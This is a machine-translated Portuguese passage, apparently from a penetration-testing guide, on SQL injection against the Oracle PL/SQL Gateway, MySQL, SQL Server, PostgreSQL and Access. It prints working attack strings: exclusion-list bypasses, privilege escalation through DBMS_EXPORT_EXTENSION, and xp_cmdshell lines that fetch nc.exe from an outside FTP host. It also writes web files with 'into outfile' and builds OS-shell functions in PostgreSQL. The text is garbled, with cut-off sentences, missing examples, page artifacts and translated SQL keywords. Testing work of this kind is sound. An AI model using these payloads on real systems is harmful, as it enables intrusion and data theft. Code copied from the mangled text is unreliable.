http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://
www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://
www.example.com/ pls/pai/%09SYS.PACKAGE.PROC
posteriores do Gateway permitiam que os invasores ignorassem a lista de exclusão precedendo o nome do esquema/pacote com um rótulo. Em
PL/SQL, um rótulo aponta para uma linha de código que pode ser acessada usando a instrução GOTO e assume o seguinte formato: <<NAME>>
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
conjunto de caracteres em uso no servidor da Web e no servidor de banco de dados, alguns caracteres são traduzidos. Assim, dependendo dos
conjuntos de caracteres em uso, o caractere ÿ ( 0xFF ) pode ser convertido em um Y no servidor de banco de dados. Outro caractere
frequentemente convertido em Y maiúsculo é o caractere Macron - 0xAF . Isso pode permitir que um invasor ignore a lista de exclusão:
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
mais complexo de ignorar a lista de exclusão e é o método corrigido mais recentemente. Se fôssemos solicitar o seguinte
http://www.example.com/pls/dad/foo.bar?xyz=123
declarar
número rc__;
start_time__ binary_integer;
simple_list__ owa_util.vc_arr;
complex_list__ owa_util.vc_arr;
Machine Translated by Google
251
begin
start_time__ := dbms_utility.get_time;
owa.init_cgi_env(:n__,:nm__,:v__);
htp.HTBUF_LEN := 255; nulo; nulo; simple_list__(1) :=
'sys.%'; lista_simples__(2) := 'dbms\_%';
lista_simples__(3) := 'utl\_%'; simple_list__(4) :=
'owa\_%'; simple_list__(5) := 'owa.%';
simple_list__(6) := 'htp.%'; simple_list__(7) := 'htf.
%'; if ((owa_match.match_pattern('foo.bar',
simple_list__, complex_list__, true))) então
rc__ := 2;
outro
nulo;
orasso.wpg_session.init();
foo.bar(XYZ=>:XYZ); se
(wpg_docload.is_file_download) então
rc__ := 1;
wpg_docload.get_download_file(:doc_info);
orasso.wpg_session.deinit(); nulo; nulo; comprometer-
se;
outro
rc__ := 0;
orasso.wpg_session.deinit(); nulo;
nulo; comprometer-se;
owa.get_page(:data__,:ndata__); fim
se; fim se;
:rc__ :=
rc__; :db_proc_time__ := dbms_utility.get_time—start_time__; fim;
Observe as linhas 19 e 24. Na linha 19, a solicitação do usuário é verificada em uma lista de strings conhecidas como "inválidas", ou seja, a
lista de exclusão. Se o pacote solicitado e o procedimento não contiverem strings inválidas, o procedimento será executado na linha 24. O
parâmetro XYZ é passado como uma variável de ligação.
http://server.example.com/pls/dad/INJECT'POINT
..
simple_list__(7) := 'htf.%'; if
((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true))) então
rc__ := 2;
outro
nulo;
orasso.wpg_session.init(); ponto
de injeção;
..
Isso gera um erro no log de erros: “PLS-00103: Encontrou o símbolo 'POINT' ao esperar um dos seguintes. . .” O que temos aqui é uma
maneira de injetar SQL arbitrário. Isso pode ser explorado para ignorar a lista de exclusão.
Primeiro, o invasor precisa encontrar um procedimento PL/SQL que não receba parâmetros e não corresponda a nada na lista de exclusão.
Há um bom número de pacotes padrão que atendem a esse critério, por exemplo:
Machine Translated by Google
252
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO
Um invasor deve escolher uma dessas funções que está realmente disponível no sistema de destino (ou seja, retorna um 200 OK quando solicitado).
Como teste, um invasor pode solicitar
http://server.example.com/pls/dad/orasso.home?FOO=BAR
o servidor deve retornar uma resposta 404 Arquivo não encontrado porque o procedimento orasso.home não requer parâmetros e um foi fornecido.
Porém, antes que o 404 seja retornado, o seguinte PL/SQL é executado:
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; outro
nulo;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..
Observe a presença de FOO na string de consulta do invasor. Os invasores podem abusar disso para executar SQL arbitrário. Primeiro, eles precisam
fechando os colchetes:
http://server.example.com/pls/dad/orasso.home?);--=BAR
..
orasso.home();--=>:);--);
..
Observe que tudo após o sinal de menos duplo ( -- ) é tratado como um comentário. Essa solicitação causará um erro interno do servidor porque uma
das variáveis de ligação não é mais usada, portanto, o invasor precisa adicioná-la novamente. Acontece que essa variável de ligação é a chave para
executar PL/SQL arbitrário. No momento, eles podem apenas usar HTP.PRINT para imprimir BAR e adicionar a variável de ligação necessária como:
1:
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
Isso deve retornar um 200 com a palavra “BAR” no HTML. O que está acontecendo aqui é que tudo depois do sinal de igual - BAR neste caso - são
os dados inseridos na variável de ligação. Usando a mesma técnica é possível também obter acesso ao owa_util.cellsprint novamente:
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
Para executar SQL arbitrário, incluindo instruções DML e DDL, o invasor insere um execute imediato :1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
Observe que a saída não será exibida. Isso pode ser aproveitado para explorar quaisquer bugs de injeção PL/SQL pertencentes ao SYS, permitindo
assim que um invasor obtenha controle total do servidor de banco de dados de back-end. Por exemplo, o seguinte URL
Machine
253
Translated by Google
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_
LINE(:p1) EXECUTE%20IMMEDIATE%20''CRIAR%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';END;--','SYS',1,'VER',0);END;
Cada parâmetro de entrada deve ser testado quanto a falhas de injeção SQL. Estes são fáceis de encontrar e confirmar. Encontrá-los é tão
fácil quanto inserir uma aspa simples no parâmetro e verificar as respostas de erro (que incluem erros 404 Not Found). A confirmação da
presença de injeção SQL pode ser realizada usando o operador de concatenação.
Por exemplo, suponha que haja um aplicativo da web PL/SQL de livraria que permita aos usuários pesquisar livros de um determinado autor:
http://www.example.com/pls/bookstore/books.search?author=DICKENS
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
retorna um erro ou um 404 , então pode haver uma falha de injeção de SQL. Isso pode ser confirmado usando a concatenação
operador:
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
Se esta solicitação retornar livros de Charles Dickens, você confirmou a presença da vulnerabilidade de injeção de SQL.
Ferramentas
Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner)
Referências
Artigos técnicos
Hackproofing Oracle Application Server (Um Guia para Proteger o Oracle 9)
Resumo
Injeção SQL vulnerabilidades ocorrem sempre que a entrada é usada na construção de uma consulta SQL sem ser adequadamente restringida
ou sanitizada. O uso de SQL dinâmico (a construção de consultas SQL por concatenação de strings) abre as portas para essas vulnerabilidades.
A injeção de SQL permite que um invasor acesse os servidores SQL. Ele permite a execução do código SQL sob os privilégios do usuário usado
para se conectar ao banco de dados.
O servidor MySQL possui algumas particularidades de forma que alguns exploits precisam ser customizados especialmente para esta aplicação.
Esse é o assunto desta seção.
Como testar
Quando uma vulnerabilidade de injeção de SQL é encontrada em um aplicativo apoiado por um banco de dados MySQL, vários ataques podem
ser executados, dependendo da versão do MySQL e dos privilégios do usuário no DBMS.
O MySQL vem com pelo menos quatro versões que são usadas em produção em todo o mundo, 3.23.x 5.0.x . Cada , 4.0.x , 4.1.xe _
versão possui um conjunto de recursos proporcional ao número da versão.
A partir da versão 5.0: procedimentos armazenados, funções armazenadas e a exibição denominada INFORMATION_SCHEMA
Deve-se notar que para versões do MySQL anteriores a 4.0.x, somente ataques Booleanos ou baseados em tempo Blind Injection poderiam ser
usados, uma vez que a funcionalidade de subconsulta ou instruções UNION não foram implementadas.
A partir de agora, assumiremos que existe uma vulnerabilidade clássica de injeção de SQL, que pode ser acionada por uma solicitação semelhante
à descrita na seção Teste de injeção de SQL.
http://www.example.com/page.php?id=2
Ou seja, o MySQL interpreta apóstrofes \' com escape como caracteres e não como metacaracteres.
Então, se a aplicação, para funcionar corretamente, precisa usar strings constantes, dois casos devem ser diferenciados:
=> '
2. O aplicativo da Web não escapa de aspas simples '
No MySQL, existe uma maneira padrão de contornar a necessidade de aspas simples, tendo uma string constante a ser declarada sem a
necessidade de aspas simples.
Suponhamos que queremos saber o valor de um campo chamado senha em um registro, com uma condição como a seguinte:
Machine Translated by Google
255
conectores da biblioteca MySQL não suportam várias consultas separadas por ; portanto, não há como injetar vários comandos SQL não
homogêneos em uma única vulnerabilidade de injeção SQL, como no Microsoft SQL Server.
Obtenção de informações
Fingerprinting MySQL
Obviamente, a primeira coisa a saber é se existe o MySQL DBMS como um banco de dados de back-end. O servidor MySQL possui um recurso
que é usado para permitir que outro DBMS ignore uma cláusula no dialeto MySQL. Quando um bloco de comentário '/**/' contém um ponto de
exclamação '/*! sql aqui*/' é interpretado pelo MySQL e é considerado como um bloco de comentário normal por outro DBMS, conforme explicado
no manual do MySQL.
Exemplo:
1 /*! e 1=0 */
Versão
que significa
Na injeção de banda:
Injeção inferencial:
5.0.22-log
Usuário de
Login Existem dois tipos de usuários dos quais o MySQL Server depende.
Machine Translated by Google
256
Existe alguma diferença entre 1 e 2. A principal delas é que um usuário anônimo pode se conectar (se permitido) com qualquer nome, mas o usuário
interno do MySQL é um nome vazio (''). Outra diferença é que um procedimento armazenado ou uma função armazenada são executados como o
usuário criador, se não forem declarados em outro lugar. Isso pode ser conhecido usando CURRENT_USER .
Na injeção de banda:
Injeção inferencial:
usuário@hostname
Na injeção de banda:
Injeção inferencial:
INFORMAÇÃO_ESQUEMA
A partir do MySQL 5.0, uma visão chamada INFORMATION_SCHEMA foi criado. Permite obter todas as informações sobre bancos de dados, tabelas e
colunas, bem como procedimentos e funções.
Tabelas_em_INFORMATION_SCHEMA DESCRIÇÃO
ESQUEMAS Todos os bancos de dados que o usuário possui (pelo menos) SELECT_priv
Todas essas informações podem ser extraídas usando técnicas conhecidas, conforme descrito na seção SQL Injection.
Vetores de ataque
Escreva em um arquivo
Se o usuário conectado tiver privilégios FILE e as aspas simples não tiverem escape, a cláusula into outfile poderá ser usada para exportar os resultados da
consulta em um arquivo.
Observação: não há como ignorar aspas simples ao redor de um nome de arquivo. Portanto, se houver alguma limpeza em aspas simples, como escape \' ,
não haverá como usar a cláusula into outfile .
Esse tipo de ataque pode ser usado como uma técnica fora de banda para obter informações sobre os resultados de uma consulta ou para gravar um arquivo
que pode ser executado dentro do diretório do servidor web.
Exemplo:
1 limit 1 into outfile '/var/www/root/test.jsp' CAMPOS INCLUÍDOS POR '//' LINHAS TERMINADAS POR '\n<%jsp co
de aqui%>';
Os resultados são armazenados em um arquivo com privilégios rw-rw-rw de propriedade do usuário e grupo MySQL.
Ler de um arquivo
load_file é uma função nativa que pode ler um arquivo quando permitido pelas permissões do sistema de arquivos. Se um usuário conectado tiver privilégios
FILE , ele poderá ser usado para obter o conteúdo dos arquivos. A sanitização de escape de aspas simples pode ser contornada usando técnicas descritas
anteriormente.
load_file('nome do arquivo')
Um bom ataque é saber os resultados forçando uma função/procedimento ou o próprio servidor a lançar um erro. Uma lista de erros lançados
pelo MySQL e em funções nativas em particular pode ser encontrada no Manual do MySQL.
injeção cega de SQL, há um conjunto de funções úteis fornecidas nativamente pelo servidor MySQL.
Comprimento da corda:
COMPRIMENTO(str)
BENCHMARK e SLEEP BENCHMARK(#ofcycles,action_to_be_performed) A função benchmark pode ser usada para executar
ataques de temporização quando a injeção cega por valores booleanos não produz nenhum resultado. Ver.
SLEEP() (MySQL > 5.0.x) para uma alternativa no benchmark.
Ferramentas
Referências
Artigos técnicos
Chris Anley: “Protegendo o MySQL”
Estudos de caso
Resumo
Nesta seção alguns SQL Injection técnicas que utilizam recursos específicos do Microsoft SQL Server serão discutidas.
As vulnerabilidades de injeção de SQL ocorrem sempre que a entrada é usada na construção de uma consulta SQL sem ser adequadamente restringida ou sanitizada. O
uso de SQL dinâmico (a construção de consultas SQL por concatenação de strings) abre as portas para essas vulnerabilidades. A injeção de SQL permite que um invasor
acesse os servidores SQL e execute o código SQL sob os privilégios do usuário usado para se conectar ao banco de dados.
Conforme explicado na injeção de SQL, um exploit de injeção SQL requer duas coisas: um ponto de entrada e um exploit para entrar. Qualquer parâmetro controlado pelo
usuário processado pelo aplicativo pode estar ocultando uma vulnerabilidade. Isso inclui:
Parâmetros do aplicativo incluídos como parte do corpo de uma solicitação POST Informações
O servidor Microsoft SQL possui algumas características exclusivas, portanto, algumas explorações precisam ser personalizadas especialmente para esse aplicativo.
Como testar
Características do SQL Server
Para começar, vamos ver alguns operadores do SQL Server e comandos/procedimentos armazenados que são úteis em um teste de SQL Injection:
operador de comentário: -- (útil para forçar a consulta a ignorar a parte restante da consulta original; isso não será necessário em todos os casos)
xp_cmdshell executa qualquer shell de comando no servidor com as mesmas permissões que está executando no momento.
Por padrão, apenas sysadmin tem permissão para usá-lo e no SQL Server 2005 ele está desabilitado por padrão (pode ser habilitado novamente usando
sp_configure)
sp_makewebtask Gera um shell de comando do Windows e passa uma string para execução. Qualquer saída é retornada como linhas de texto. Requer
xp_sendmail Envia uma mensagem de e-mail, que pode incluir um anexo de conjunto de resultados de consulta, para os destinatários especificados. Este
Vejamos agora alguns exemplos de ataques específicos do SQL Server que utilizam as funções mencionadas. A maioria desses exemplos usará a função exec .
Abaixo, mostramos como executar um comando shell que grava a saída do comando dir c:\inetpub em um arquivo navegável, supondo que o servidor da web e o servidor
Uma execução bem-sucedida criará um arquivo que pode ser pesquisado pelo pen tester. Lembre-se de que sp_makewebtask está obsoleto e,
mesmo que funcione em todas as versões do SQL Server até 2005, pode ser removido no futuro.
Além disso, as funções internas do SQL Server e as variáveis de ambiente são muito úteis. O seguinte utiliza a função db_name() para disparar um
erro que retornará o nome do banco de dados:
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
CONVERT tentará converter o resultado de db_name (uma string) em uma variável inteira, disparando um erro, que, se exibido pelo aplicativo
vulnerável, conterá o nome do banco de dados.
O exemplo a seguir usa a variável de ambiente @@version order para localizar a , combinado com uma injeção de estilo de seleção de união , em
versão do SQL Server.
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-
06,1,@@version%20--
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
A coleta de informações é útil para explorar vulnerabilidades de software no SQL Server, por meio da exploração de um ataque de injeção SQL ou
acesso direto ao ouvinte SQL.
A seguir, mostramos vários exemplos que exploram vulnerabilidades de injeção SQL por meio de diferentes pontos de entrada.
simples (e às vezes mais recompensador) seria o de uma página de login solicitando um nome de usuário e senha para login do usuário. Você pode
“'
tentar inserir a seguinte string ou '1'='1” (sem aspas duplas):
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
Se o aplicativo estiver usando consultas SQL dinâmicas e a string for anexada à consulta de validação de credenciais do usuário, isso poderá resultar
em um login bem-sucedido no aplicativo.
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
A mensagem de erro obtida quando um ' (aspas simples) inserido no campo de e-mail é:
Se xp_cmdshell foi desativado com sp_dropextendedproc , podemos simplesmente injetar o seguinte código:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
Se o código anterior não funcionar, significa que o xp_log70.dll foi movido ou excluído. Neste caso, precisamos injetar o seguinte código:
Este código, escrito por Antonin Foller (veja os links na parte inferior da página), cria um novo xp_cmdshell usando sp_oacreate , sp_oamethod
e sp_oadestroy (desde que eles também não tenham sido desabilitados, é claro). Antes de usá-lo, precisamos excluir o primeiro xp_cmdshell
que criamos (mesmo que não esteja funcionando), caso contrário, as duas declarações irão colidir.
No SQL Server 2005, xp_cmdshell pode ser ativado injetando o seguinte código:
Permite a execução de código SQL arbitrário. O mesmo acontece com o cabeçalho User-Agent definido como:
selecionar
* a partir de
OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=xywz,p;timeout=5','select 1')--
Esta consulta tentará uma conexão com o endereço xywz na porta p. Se a porta estiver fechada, a seguinte mensagem será
retornou:
Por outro lado, se a porta estiver aberta, um dos seguintes erros será retornado:
O provedor OLE DB 'sqloledb' relatou um erro. O provedor não deu nenhuma informação sobre o erro.
Obviamente, a mensagem de erro nem sempre está disponível. Se for esse o caso, podemos usar o tempo de resposta para entender
o que está acontecendo: com uma porta fechada, o timeout (5 segundos neste exemplo) será consumido, enquanto uma porta aberta
retornará o resultado na hora.
Lembre-se de que OPENROWSET é habilitado por padrão no SQL Server 2000, mas desabilitado no SQL Server 2005.
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';-- exec master..xp_cmdshell 'echo USER >>
ftpscript.txt';-- exec master..xp_cmdshell 'echo PASS >> ftpscript. txt';-- exec master..xp_cmdshell 'echo bin >>
ftpscript.txt';-- exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';-- exec master..xp_cmdshell 'echo quit
>> ftpscript.txt';-- exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
Se o FTP não for permitido pelo firewall, temos uma solução alternativa que explora o depurador do Windows, debug.exe , que é
instalado por padrão em todas as máquinas Windows. Debug.exe é passível de script e é capaz de criar um executável executando
um arquivo de script apropriado. O que precisamos fazer é converter o executável em um script de depuração (que é um arquivo
100% ASCII), carregá-lo linha por linha e finalmente chamar debug.exe nele. Existem várias ferramentas que criam esses arquivos
de depuração (por exemplo: makescr.exe de Ollie Whitehouse e dbgtool.exe de toolcrypt.org ). As consultas a injetar serão, portanto,
as seguintes:
Machine Translated by Google
263
exec master..xp_cmdshell 'echo [debug script line #1 de n] > debugscript.txt';-- exec master..xp_cmdshell 'echo
[debug script line #2 de n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';-- exec master..xp_cmdshell 'debug.exe
< debugscript.txt';--
Neste ponto, nosso executável está disponível na máquina de destino, pronto para ser executado. Existem ferramentas que automatizam esse processo,
,
principalmente o Bobcat , que roda no Windows, e o Sqlninja , que roda no Unix (veja as ferramentas no final desta página).
alguns desses ataques, a melhor maneira seria proceder da seguinte forma: desenvolver e testar os ataques em um testbed criado para esse fim e, em seguida,
executar esses ataques contra o aplicativo da web que está sendo testado.
Outras opções para ataques fora de banda são descritas na Amostra 4 acima-GET-Example).
Alternativamente, pode-se jogar com sorte. Ou seja, o invasor pode presumir que há uma vulnerabilidade de injeção SQL cega ou fora de banda em um
aplicativo da web. Ele então selecionará um vetor de ataque (por exemplo, uma entrada na web), usará vetores fuzz contra este canal e observará a resposta.
Por exemplo, se o aplicativo da Web estiver procurando um livro usando uma consulta
então o testador de penetração pode inserir o texto: 'Bomba' OU 1=1- e se os dados não forem devidamente validados, a consulta passará e retornará toda a
lista de livros. Isso é uma evidência de que há uma vulnerabilidade de injeção de SQL. O testador de penetração pode mais tarde brincar com as consultas para
avaliar a criticidade dessa vulnerabilidade.
outro lado, se nenhuma informação anterior estiver disponível, ainda existe a possibilidade de ataque explorando qualquer canal secreto . Pode acontecer que
as mensagens de erro descritivas sejam interrompidas, mas as mensagens de erro fornecem algumas informações.
Por exemplo:
Em alguns casos a aplicação web (na verdade o servidor web) pode retornar o tradicional 500: Internal Server , digamos quando a aplicação retorna uma
Erro exceção que pode ser gerada, por exemplo, por uma query com
citações não fechadas.
Em outros casos, o servidor retornará uma mensagem 200 OK , mas o aplicativo da Web retornará alguma mensagem de erro inserida pelos
desenvolvedores Erro interno do servidor ou dados inválidos .
Essa informação pode ser suficiente para entender como a consulta SQL dinâmica é construída pelo aplicativo da Web e ajustar uma exploração. Outro método
fora da banda é enviar os resultados por meio de arquivos HTTP navegáveis.
Ataques cronometrados
Há mais uma possibilidade de fazer um ataque cego de injeção de SQL quando não há feedback visível do aplicativo: medindo o tempo que o aplicativo da
Web leva para responder a uma solicitação. Um ataque deste tipo é descrito por Anley de onde tomamos os próximos exemplos. Uma abordagem típica usa o
comando waitfor delay : digamos que o invasor deseja verificar se o banco de dados de amostras de pubs existe, ele simplesmente injetará o seguinte comando:
Dependendo do tempo que a consulta demorar para retornar, saberemos a resposta. Na verdade, o que temos aqui são duas coisas: uma
vulnerabilidade de injeção de SQL e um canal oculto que permite ao testador de penetração obter 1 bit de informação para cada consulta.
Portanto, usando várias consultas (tantas consultas quanto bits nas informações necessárias), o pen tester pode obter qualquer dado que
esteja no banco de dados. Observe a seguinte consulta
declare @s varchar(8000)
declare @i int select @s =
db_name() select @i = [some
value] if (select len(@s)) < @i
waitfor delay '0:0:5'
Medindo o tempo de resposta e usando diferentes valores para o banco de , podemos deduzir o comprimento do nome da corrente
dados @i , e então começar a extrair o nome em si com a seguinte consulta:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
Esta consulta aguardará 5 segundos se o bit @bit do byte @byte do nome do banco de dados atual for 1 e retornará imediatamente se for 0.
Aninhando dois ciclos (um para @byte e outro para @bit ), seremos capazes de extrair toda a informação.
No entanto, pode acontecer que o comando waitfor não esteja disponível (por exemplo, porque é filtrado por um firewall de aplicativo IPS/web).
Isso não significa que ataques cegos de injeção de SQL não possam ser feitos, pois o testador de caneta só deve apresentar qualquer
operação demorada que não seja filtrada. Por exemplo
A mesma abordagem de tempo também pode ser usada para entender com qual versão do SQL Server estamos lidando. É claro que usaremos
a variável interna @@version . Considere a seguinte consulta:
selecione @@versão
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 14 de outubro de 2005 00:33:37
A parte 2005 da string vai do 22º ao 25º caractere. Portanto, uma consulta para injetar pode ser a seguinte:
Tal consulta aguardará 5 segundos se o 25º caractere da variável @@version for 5 , nos mostrando que estamos lidando com um SQL Server
2005. Se a consulta retornar imediatamente, provavelmente estamos lidando com SQL Server 2000 e outra consulta semelhante ajudará a
esclarecer todas as dúvidas.
O que fazemos aqui é tentar uma conexão com o banco de dados local (especificado pelo campo vazio após SQLOLEDB ) usando sa e <pwd> como
credenciais. Se a senha estiver correta e a conexão for bem-sucedida, a consulta é executada, fazendo o BD aguardar 5 segundos (e também retornando
um valor, pois OPENROWSET espera pelo menos uma coluna).
Buscando as senhas candidatas de uma lista de palavras e medindo o tempo necessário para cada conexão, podemos tentar adivinhar a senha correta.
Em “Data-mining with SQL Injection and Inference”, David Litchfield leva essa técnica ainda mais longe, injetando um trecho de código para aplicar força
bruta à senha do administrador do sistema usando os recursos da CPU do próprio servidor de banco de dados.
Injete todas as consultas a seguir usando OPENROWSET , para usar privilégios de administrador de sistema
Adicione nosso usuário atual ao grupo sysadmin usando sp_addsrvrolemember . O nome de usuário atual pode ser extraído usando injeção de
inferência na variável system_user .
Lembre-se que OPENROWSET é acessível a todos os usuários no SQL Server 2000, mas é restrito a administradores
contas no SQL Server 2005.
Ferramentas
Referências
Artigos técnicos
David Litchfield: “Data-mining com SQL Injection and Inference”
Dicas técnicas do Unixwiz.net de Steve Friedl: “Ataques de injeção de SQL por exemplo”
Injeção SQL
Cesar Cerrudo: Manipulação do Microsoft SQL Server Usando SQL Injection, upload de arquivos, acesso à rede interna , varredura de portas, DOS
Machine Translated by Google
266
Testando o PostgreSQL
Resumo
Nesta seção, serão discutidas algumas técnicas de SQL Injection para PostgreSQL. Estas técnicas têm o seguinte
características:
O PHP Connector permite que várias instruções sejam executadas usando ; como um separador de declaração
LIMIT e OFFSET podem ser usados em uma instrução SELECT para recuperar uma parte do conjunto de resultados gerado pelo
consulta
Como testar
Identificando o PostgreSQL Quando
uma injeção de SQL é encontrada, você precisa identificar cuidadosamente o mecanismo de banco de dados de back-end. Você pode determinar que o
Exemplos
Além disso, a função version() pode ser usada para capturar o banner do PostgreSQL. Isso também mostrará o tipo e a versão do sistema operacional subjacente.
Exemplo
PostgreSQL 8.3.1 em i486-pc-linux-gnu, compilado por GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Injeção cega
Para ataques cegos de injeção de SQL, você deve levar em consideração as seguintes funções integradas:
A partir da versão 8.2, o PostgreSQL introduziu uma função interna, pg_sleep(n) , para fazer o processo da sessão atual dormir por n segundos. Essa função
pode ser aproveitada para executar ataques de temporização (discutidos em detalhes em Blind SQL Injection).
Além disso, você pode criar facilmente um pg_sleep(n) personalizado em versões anteriores usando libc:
Função CREATE pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
podem ser codificadas, para evitar o escape de aspas simples, usando a função chr() .
Machine Translated by Google
267
chr(114)||chr(111)||chr(111)||chr(116)
Exemplo
Vetores de ataque
Usuário atual
A identidade do usuário atual pode ser recuperada com as seguintes instruções SQL SELECT:
SELECIONE o usuário
SELECT current_user
SELECT sessão_usuário
SELECIONE o nome de usuário DE pg_user
SELECT getpgusername()
Exemplo
Exemplo
Lendo de um arquivo
COPY declaração
CÓPIA DE
Este operador copia dados entre um arquivo e uma tabela. O mecanismo PostgreSQL acessa o sistema de arquivos local como o
usuário postgres .
Exemplo
Machine Translated by Google
268
Os dados devem ser recuperados executando uma injeção SQL de consulta UNION :
recupera o número de linhas adicionadas anteriormente em file_store com instrução COPY recupera
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION
ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL
FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file()
Esta função foi introduzida no PostgreSQL 8.1 e permite a leitura de arquivos arbitrários localizados dentro do diretório de dados do DBMS.
Exemplo
SELECT pg_read_file('server.key',0,1000);
Escrevendo em um arquivo
Ao reverter a instrução COPY, podemos gravar no sistema de arquivos local com os direitos de usuário postgres
Injeção de casca
O PostgreSQL fornece um mecanismo para adicionar funções personalizadas usando a biblioteca dinâmica e linguagens de script como
python, perl e tcl.
Biblioteca Dinâmica
Até o PostgreSQL 8.1, era possível adicionar uma função personalizada vinculada à libc :
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Como o sistema retorna um int , como podemos buscar resultados do sistema stdout?
crie uma tabela stdout : CREATE TABLE stdout(id serial, system_out text)
executando um comando shell redirecionando seu stdout : SELECT system('uname -a > /tmp/test')
use instruções COPY para enviar a saída do comando anterior na tabela stdout : COPY stdout(system_out) FROM
'/tmp/teste*'
Exemplo
Plpython
PL/Python permite que os usuários codifiquem funções do PostgreSQL em python. Não é confiável, então não há como restringir o que o usuário pode
fazer. Não é instalado por padrão e pode ser ativado em um determinado banco de dados por CREATELANG
Verifique se PL/Python foi ativado em um banco de dados: SELECT count(*) FROM pg_language WHERE
lanname='plpythonu'
Se qualquer uma das opções acima for bem-sucedida, crie uma função de shell de proxy: CREATE FUNCTION proxyshell(text) RETURNS text
Exemplo
Crie uma função de shell de proxy: /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import
Execute um comando do SO: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
Plperl
Plperl nos permite codificar funções PostgreSQL em perl. Normalmente, ele é instalado como uma linguagem confiável para desabilitar a execução em
tempo de execução de operações que interagem com o sistema operacional subjacente, como open . Ao fazer isso, é impossível obter acesso no nível do
sistema operacional. Para injetar com sucesso uma função semelhante ao proxyshell, precisamos instalar a versão não confiável do usuário postgres , para
evitar a chamada filtragem de máscara de aplicativo de operações confiáveis/não confiáveis.
Verifique se PL/perl-untrusted foi habilitado: SELECT count(*) FROM pg_language WHERE lanname='plperlu'
Caso contrário, supondo que o sysadm já tenha instalado o pacote plperl, tente: CREATE LANGUAGE plperlu
Se qualquer uma das opções acima for bem-sucedida, crie uma função de shell de proxy: CREATE FUNCTION proxyshell(text) RETURNS text
Exemplo
Crie uma função de shell de proxy: /store.php?id=1; CREATE FUNCTION proxyshell(texto) RETORNA texto COMO
Execute um comando do SO: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
Referências
Testando para SQL Injection
Bernardo Damele e Daniele Bellucci: sqlmap, uma ferramenta de injeção cega de SQL
Machine Translated by Google
270
Resumo
Conforme explicado na injeção SQL genérica seção, as vulnerabilidades de injeção SQL ocorrem sempre que a entrada fornecida pelo usuário é usada durante
a construção de uma consulta SQL sem ser adequadamente restringida ou sanitizada. Essa classe de vulnerabilidade permite que um invasor execute código
SQL sob os privilégios do usuário usado para se conectar ao banco de dados. Nesta seção, técnicas relevantes de injeção de SQL que utilizam recursos
específicos do Microsoft Access será discutido.
Como testar
Impressão digital A
impressão digital da tecnologia de banco de dados específica durante o teste do aplicativo baseado em SQL é a primeira etapa para avaliar adequadamente as
possíveis vulnerabilidades. Uma abordagem comum envolve a injeção de padrões de ataque de injeção de SQL padrão (por exemplo, aspas simples, aspas
duplas, …) para acionar exceções de banco de dados. Supondo que o aplicativo não lide com exceções com páginas personalizadas, é possível identificar o
Dependendo da tecnologia da Web específica usada, os aplicativos baseados no MS Access responderão com um dos seguintes
erros:
